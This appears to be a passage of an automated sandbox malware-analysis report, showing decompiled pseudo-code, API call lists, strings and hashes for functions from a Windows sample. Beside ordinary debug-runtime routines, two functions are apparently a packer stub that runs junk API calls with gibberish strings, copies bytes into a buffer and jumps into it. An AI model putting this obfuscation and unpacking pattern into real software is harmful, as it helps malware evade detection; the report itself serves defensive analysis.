					_t241 = E0041E050(E00438450(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C2E0(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D417();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BD50(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cc1f
0x0042cccc
0x0042ccd9
0x0042cce4
0x0042ccea
0x0042cd03
0x0042cd08
0x0042cd0b
0x0042cd18
0x0042cd3c
0x0042cd41
0x0042cd41
0x0042cd4f
0x0042cd58
0x0042cd8a
0x0042cd8f
0x0042cd8f
0x0042cd58
0x0042cd96
0x0042cd9c
0x0042cdaa
0x0042cd9e
0x0042cd9e
0x0042cd9e
0x0042cde6
0x0042cdeb
0x0042cdeb
0x0042ce10
0x0042ce20
0x0042ce25
0x0042ce2c
0x0042ce3b
0x0042ce5d
0x0042ce6d
0x0042ce72
0x0042ce72
0x0042cea5
0x0042ceaa
0x0042ceaa
0x0042ceb1
0x0042cfc1
0x0042cfc6
0x0042ceb7
0x0042ceb7
0x0042cec8
0x0042ced3
0x0042cedf
0x0042cee3
0x0042cef7
0x0042cefe
0x0042cf03
0x0042cf06
0x0042cf13
0x0042cf37
0x0042cf3c
0x0042cf3c
0x0042cf3f
0x0042cf44
0x0042cf4a
0x0042cf53
0x0042cf85
0x0042cf8a
0x0042cf8a
0x0042cf8d
0x0042cfc9
0x0042cfef
0x0042d00d
0x0042d012
0x0042d015
0x0042d022
0x0042d054
0x0042d059
0x0042d059
0x0042d063
0x0042d072
0x0042d07c
0x0042d088
0x0042d08d
0x0042d090
0x0042d097
0x0042d09d
0x0042d0b4
0x0042d0bd
0x0042d0d9
0x0042d0e2
0x0042d0e4
0x0042d0e9
0x0042d0ae
0x00000000
0x0042d0eb
0x0042d0f1
0x0042d0f7
0x0042d0f7
0x00000000
0x0042d0e9
0x0042d10c
0x0042d10e
0x0042d114
0x0042d12b
0x0042d134
0x0042d150
0x0042d159
0x0042d15b
0x0042d160
0x0042d125
0x00000000
0x0042d162
0x0042d168
0x0042d16e
0x0042d16e
0x00000000
0x0042d160
0x0042d12b
0x0042d17c
0x0042d17c
0x0042d183
0x0042d183
0x0042d19c
0x0042d1a9
0x0042d1ab
0x0042d1b5
0x0042d1c7
0x0042d1cd
0x0042d1d2
0x0042d1d4
0x0042d1da
0x0042d1e0
0x0042d1e0
0x0042d1d2
0x0042d1f1
0x0042d204
0x0042d20a
0x0042d215
0x0042d21b
0x0042d21e
0x0042d22c
0x0042d239
0x0042d24d
0x0042d252
0x0042d25d
0x0042d270
0x0042d280
0x00000000
0x00000000
0x0042d282
0x00000000
0x0042d272
0x0042d23b
0x0042d287
0x0042d287
0x0042d2d0
0x0042d2d5
0x0042d2d8
0x0042d2e5
0x0042d32c
0x0042d337
0x0042d337
0x0042d354
0x0042d357
0x0042d35f
0x0042d2f0
0x0042d300
0x0042d305
0x0042d312
0x0042d315
0x0042d31d
0x0042d31d
0x0042d2e5
0x0042d239
0x0042d215
0x0042d372
0x0042d374
0x0042d37b
0x0042d37b
0x0042d38e
0x0042d392
0x0042d39d
0x0042d3d0
0x0042d3d5
0x0042d3d5
0x0042d3e8
0x0042d3ea
0x0042d403
0x0042d403
0x0042d38e
0x0042d1f1
0x0042cc25
0x0042cc56
0x0042cc63
0x0042cc6d
0x0042cc7a
0x0042cc6f
0x0042cc6f
0x0042cc72
0x0042cc72
0x0042cc8b
0x0042cc96
0x0042cc9c
0x0042cca3
0x0042ccae
0x0042ccb4
0x0042ccb9
0x0042ccb9
0x0042d409
0x0042d410
0x0042d429
0x0042d432
0x0042d43a
0x0042d43b
0x0042d43c
0x0042d44a

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CC17
__invoke_watson_if_error.LIBCMTD ref: 0042CC56
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CC63
OutputDebugStringW.KERNEL32(004067C0), ref: 0042CC8B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CC96
OutputDebugStringW.KERNEL32(?), ref: 0042CCA3
OutputDebugStringW.KERNEL32(004067AC), ref: 0042CCAE
_wcscat_s.LIBCMTD ref: 0042CE64

Part of subcall function 00437A50: __invalid_parameter.LIBCMTD ref: 00437AC2

__invoke_watson_if_error.LIBCMTD ref: 0042CE6D

Part of subcall function 0041E050: __invoke_watson.LIBCMTD ref: 0041E071

_wcscat_s.LIBCMTD ref: 0042CE9C

Part of subcall function 00437A50: _memset.LIBCMT ref: 00437B2F
Part of subcall function 00437A50: __invalid_parameter.LIBCMTD ref: 00437B8B

__invoke_watson_if_error.LIBCMTD ref: 0042CEA5
__snwprintf_s.LIBCMTD ref: 0042CEFE

Part of subcall function 0042DA30: __vsnwprintf_s_l.LIBCMTD ref: 0042DA52

__invoke_watson_if_oneof.LIBCMTD ref: 0042CF37
_wcscpy_s.LIBCMTD ref: 0042CF7C
__invoke_watson_if_error.LIBCMTD ref: 0042CF85
__invoke_watson_if_oneof.LIBCMTD ref: 0042D00D
_wcscpy_s.LIBCMTD ref: 0042D04B
__invoke_watson_if_error.LIBCMTD ref: 0042D054
__itow_s.LIBCMTD ref: 0042CC4D

Part of subcall function 00438450: _xtow_s@20.LIBCMTD ref: 0043847B

__strftime_l.LIBCMTD ref: 0042CD03
__invoke_watson_if_oneof.LIBCMTD ref: 0042CD3C
_wcscpy_s.LIBCMTD ref: 0042CD81
__invoke_watson_if_error.LIBCMTD ref: 0042CD8A
_wcscpy_s.LIBCMTD ref: 0042CDDD
__invoke_watson_if_error.LIBCMTD ref: 0042CDE6
_wcscat_s.LIBCMTD ref: 0042CE17
__invoke_watson_if_error.LIBCMTD ref: 0042CE20

Strings

_VCrtDbgReportW, xrefs: 0042CC31, 0042CD26, 0042CD66, 0042CDC0, 0042CDFA, 0042CE49, 0042CE81, 0042CF21, 0042CF61, 0042CFDF, 0042D030, 0042D29D, 0042D3AB
_CrtDbgReport: String too long or IO Error, xrefs: 0042CD70, 0042CF6B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CF66
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CE86
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CDC5
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CFE4
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042D035
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042D03A
Second Chance Assertion Failed: File , xrefs: 0042CC5E
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CC36, 0042D3B0
%s(%d) : %s, xrefs: 0042CEE8
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CE4E
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D2A2
P, xrefs: 0042D2E7
(*_errno()), xrefs: 0042CD2B, 0042CF26
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CD6B
<file unknown>, xrefs: 0042CC7A
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CDFF
, Line , xrefs: 0042CC91
Assertion failed: , xrefs: 0042CD9E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CC2C, 0042CD21, 0042CD61, 0042CDBB, 0042CDF5, 0042CE44, 0042CE7C, 0042CF1C, 0042CF5C, 0042CFDA, 0042D02B, 0042D298, 0042D3A6
Assertion failed!, xrefs: 0042CDAA
f@, xrefs: 0042CDCA, 0042CDD0

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f@
API String ID: 2252013794-1152050759
Opcode ID: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction ID: c62b796e267da9f20fd09d1b1ca7a44ceba6a1e445c61b3a782c22b7a7f01267
Opcode Fuzzy Hash: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction Fuzzy Hash: DA12B371E44328EAEB20DF50DC46FDA7378AB08744F5081AAF509762C1D7BCAA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419D12, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419D12() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4188;
				struct _COORD _v4192;
				struct _STARTUPINFOW _v4268;
				union _ULARGE_INTEGER _v4276;
				union _ULARGE_INTEGER _v4284;
				char _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5604;
				signed int _v5608;
				void _v5640;
				signed int _v5644;

				E0041AB50(0x1648);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x55abe4 == 0x16) {
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x55abe4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4188, 0);
						GetWindowsDirectoryA( &_v5308, 0);
						__imp__GetCPInfoExA(0, 0,  &_v5604);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4276,  &_v4284,  &_v5316);
						GetStartupInfoW( &_v4268);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4192, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L00419A40( *0x453940,  *0x55abe4, 0x440010);
				_v5608 = _v5608 & 0x00000000;
				while(_v5608 < 0x3e79e) {
					if( *0x55abe4 == 0x10) {
						GlobalUnWire( &_v5640);
					}
					if(_v5608 == 0x1e673) {
						 *0x453940 =  *0x453940 + 0x3953;
					}
					_v5608 = _v5608 + 1;
				}
				_v5644 = _v5644 & 0x00000000;
				while(_v5644 < 0xdd9a7) {
					if( *0x55abe4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v5644 = _v5644 + 1;
				}
				goto ( *0x453940);
			}

0x00419d1a
0x00419d1f
0x00419d2c
0x00419d3b
0x00419d48
0x00419d62
0x00419d6c
0x00419d8a
0x00419d8a
0x00419d90
0x00419da0
0x00419dab
0x00419dba
0x00419dcb
0x00419deb
0x00419df8
0x00419e0c
0x00419e0c
0x00419e19
0x00419d29
0x00000000
0x00419e1b
0x00000000
0x00419e1b
0x00419e19
0x00419e33
0x00419e38
0x00419e4e
0x00419e61
0x00419e6a
0x00419e6a
0x00419e7a
0x00419e7c
0x00419e7c
0x00419e48
0x00419e48
0x00419e88
0x00419e9e
0x00419eb4
0x00419eb6
0x00419ec0
0x00419ece
0x00419ed6
0x00419ed6
0x00419e98
0x00419e98
0x00419ede

APIs

SetLastError.KERNEL32(00000000), ref: 00419D3B
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419D62
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419D6C
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419D8A
GetLastError.KERNEL32 ref: 00419D90
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419DAB
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 00419DBA
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419DCB
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419DEB
GetStartupInfoW.KERNEL32(?), ref: 00419DF8
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419E0C
GlobalUnWire.KERNEL32(?), ref: 00419E6A
GetProcessHeap.KERNEL32 ref: 00419EB6
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419EC0
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419ECE
GetPriorityClass.KERNEL32(00000000), ref: 00419ED6

Strings

pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419D80
yobahojicusenino, xrefs: 00419D85
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419D58
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419D53
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419DE6
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419D7B
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419D5D
u7, xrefs: 00419E12

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 182769965-1659383190
Opcode ID: c0f1a5d30a54084885bb2cf5d8e518c5f5340f4a6877bbb40f683e69549879d6
Instruction ID: 52975099baaa237b650f4a947f5d2eebfecf68636e1e327286236b3473b9b9b7
Opcode Fuzzy Hash: c0f1a5d30a54084885bb2cf5d8e518c5f5340f4a6877bbb40f683e69549879d6
Instruction Fuzzy Hash: 30414D71944358EFEB20DB90DE59BD973B9AB04702F1040A7F24AA60E0C7B85AC4CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00419AC9, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00419AC9(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x55abe4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeW(L"fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x55abe8; // 0x3f6fda
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x453940 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00419adc
0x00419ae5
0x00419aeb
0x00419aec
0x00419aed
0x00419aee
0x00419afc
0x00419b0a
0x00419b17
0x00419b20
0x00419b27
0x00419b2f
0x00419b36
0x00419b37
0x00419b38
0x00419b39
0x00419b3d
0x00419b44
0x00419b45
0x00419b46
0x00419b47
0x00419b58
0x00419b64
0x00419b6c
0x00419b73
0x00419b7c
0x00419b8b
0x00419b93
0x00419b9b
0x00419ba2
0x00419bad
0x00419bc7
0x00419bcd
0x00419bce
0x00419bd1
0x00419bd6
0x00419bde
0x00419be1
0x00419bf0
0x00419bf5

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419AFC
CreateMailslotA.KERNEL32 ref: 00419B0A
GetNamedPipeHandleStateA.KERNEL32 ref: 00419B17
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419B20
FindAtomA.KERNEL32 ref: 00419B27
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419B58
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419B64
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419B6C
TlsGetValue.KERNEL32(00000000), ref: 00419B73
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00419B7C
GetLongPathNameA.KERNEL32 ref: 00419B8B
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419B93
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419B9B
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419BA2
GetDriveTypeW.KERNEL32(fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb), ref: 00419BAD
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419BC7

Strings

gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419BC2
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419AF7
fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb, xrefs: 00419BA8
Hay sexulilef, xrefs: 00419B5E
kinekecusaz, xrefs: 00419B05

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeHandleInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStateStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix
API String ID: 2371511816-294975296
Opcode ID: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction ID: 4b2fc0eb54db102131851f2395ec5bcca39e963a215ef8431f0cc1ef0bf03fc0
Opcode Fuzzy Hash: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction Fuzzy Hash: C5311676802568BFD7119BE4DE089DFBBBCEF4A351B100022F245E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BD50, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BD50(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0xd0648bec
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x55b510 = _t6;
				 *0x55b50c = _t20;
				 *0x55b508 = _t22;
				 *0x55b504 = _t19;
				 *0x55b500 = _t25;
				 *0x55b4fc = _t24;
				 *0x55b528 = ss;
				 *0x55b51c = cs;
				 *0x55b4f8 = ds;
				 *0x55b4f4 = es;
				 *0x55b4f0 = fs;
				 *0x55b4ec = gs;
				asm("pushfd");
				_pop( *0x55b520);
				 *0x55b514 =  *_t29;
				 *0x55b518 = _v0;
				 *0x55b524 =  &_a4;
				 *0x55b460 = 0x10001;
				 *0x55b414 =  *0x55b518;
				 *0x55b408 = 0xc0000409;
				 *0x55b40c = 1;
				_t21 =  *0x440354; // 0xd0648bec
				_v812 = _t21;
				_t23 =  *0x440358; // 0x2f9b7413
				_v808 = _t23;
				 *0x55b458 = IsDebuggerPresent();
				_push(1);
				E00429A90(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4080a8);
				if( *0x55b458 == 0) {
					_push(1);
					E00429A90(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bd50
0x0042bd50
0x0042bd50
0x0042bd50
0x0042bd50
0x0042bd50
0x0042bd50
0x0042bd56
0x0042bd58
0x0042bd58
0x0043637b
0x00436380
0x00436386
0x0043638c
0x00436392
0x00436398
0x0043639e
0x004363a5
0x004363ac
0x004363b3
0x004363ba
0x004363c1
0x004363c8
0x004363c9
0x004363d2
0x004363da
0x004363e2
0x004363ed
0x004363fc
0x00436401
0x0043640b
0x00436415
0x0043641b
0x00436421
0x00436427
0x00436433
0x00436438
0x0043643a
0x00436444
0x0043644f
0x0043645c
0x0043645e
0x00436460
0x00436465
0x0043647d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043642D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436444
UnhandledExceptionFilter.KERNEL32(004080A8), ref: 0043644F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043646D
TerminateProcess.KERNEL32(00000000), ref: 00436474

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction ID: 582859496c0cd9b4cc31ad64f264ff00edbe108c7a5c54cbc430c2c1a803e174
Opcode Fuzzy Hash: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction Fuzzy Hash: 192128B4801308DFEB14DF55FD686643BB5BB28306F10406AE90997372F7745688EF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043B860, Relevance: 3.0, APIs: 2, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0043B860() {

				if(IsDebuggerPresent() == 0 || E0043B890(0x1004) == 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x0043b868
0x0043b883
0x0043b87b
0x0043b880
0x0043b880

APIs

IsDebuggerPresent.KERNEL32(00433F69), ref: 0043B860
DebuggerProbe.LIBCMTD ref: 0043B86F

Part of subcall function 0043B890: RaiseException.KERNEL32(406D1388,00000000,00000006,00001001), ref: 0043B8EC

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Debugger$ExceptionPresentProbeRaise
String ID:
API String ID: 680636614-0
Opcode ID: c80d4b59ff557331bfe6445cd0041cb9242567e9cd664eceebaa9e3dda1f9954
Instruction ID: 7898e5e56afaab704ae11f6bf1b5c461553d9b0d26114f7b41bc773df44b301d
Opcode Fuzzy Hash: c80d4b59ff557331bfe6445cd0041cb9242567e9cd664eceebaa9e3dda1f9954
Instruction Fuzzy Hash: 67C04CA4B0010107FF1836315D457572158E75C786F4C11B5EB45D42A1FF6DC840D199

Uniqueness

Uniqueness Score: -1.00%

Function 004285B0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004285B0() {

				SetUnhandledExceptionFilter(E00428540);
				return 0;
			}

0x004285ba
0x004285c3

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00028540), ref: 004285BA

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
